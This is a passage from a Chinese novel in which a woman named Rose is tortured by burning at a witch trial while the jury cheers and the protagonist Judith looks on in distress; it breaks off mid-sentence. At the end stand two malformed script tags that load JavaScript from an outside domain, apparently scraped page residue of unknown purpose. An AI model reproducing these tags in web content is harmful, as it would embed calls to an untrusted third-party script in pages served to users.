在即将要碰上萝丝的那刻,朱蒂斯低下了头。
下一秒是珍妮特的倒抽气声。
然后是乔,“审判真的是这样的吗?”
接着是陪审团众人如释重负的呼气声。
最后才听到萝丝隐隐约约的呜咽。
朱蒂斯抬头看着萝丝,她的衣服已经被烫穿了洞,面容极尽扭曲着,口水早已浸湿了麻布,歪歪斜斜地流出。
烧焦的气味在空中散开,成了众人的兴奋剂。有人说他曾经在其他女巫身上也闻到过这个味道,女巫烧起来的味道和普通人不一样,这个女人肯定是女巫。
朱蒂斯不敢看萝丝的伤口,不知为何,一看见萝丝她就回想起十年前的凯瑟琳和如今的科林斯。她害怕凯瑟琳也曾经受过这样的刑罚,她害怕科林斯也即将遭受这样的刑罚。
坐在审判席上的人不是她,可是她竟担心得浑身颤抖。
罗格的声音再次回荡在这个法庭中,“被告萝丝,现在你想改变你先前的陈述内容吗?”
众人再次安静下来,期待着萝丝的反应。
巨大的烧伤让萝丝痛苦地呻吟,但声音被堵住发不出去。她只有回答的权利,没有呻吟的权利。她环顾四周,看着得意洋洋的比尔,看着她怀胎十月艰难产下的孩子韦伯,看着高高在上的罗格,看着众人或是奚落或是嘲讽的表情,再次摇头。
她摇得很缓慢,摇得很艰难,仿佛那是她所有的力气。
朱蒂斯不知道自己为什么会如此的痛苦,但她的神经好像牵引在了眼前的这个女人身上,没有不痛苦的选择。
罗格说:“我很遗憾听见你这个答案,根据《女巫之锤》,你必须继续接受其他刑罚,知道你选择说出事实。
陪审团再次开始狂欢,又是一轮新的议论。
“第二轮审判通常会更残酷,这次应该上水刑了吧。”
“我看未必,不知道这个新来的法官是个急性子还是慢性子。说不定人家喜欢慢慢来呢。”
“我认为就没必要在这个女人身上多费时间,她都把我们的兄弟比尔整成那样了,还如此宽恕干什么。”
朱蒂斯觉得自己是这个世界的局外人,她有些不理解为什么人们可以对同类即将遭受的痛苦产生这么大的兴趣。
乔讪讪地问:“怎么还有,接下来又是什么?”
珍妮
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">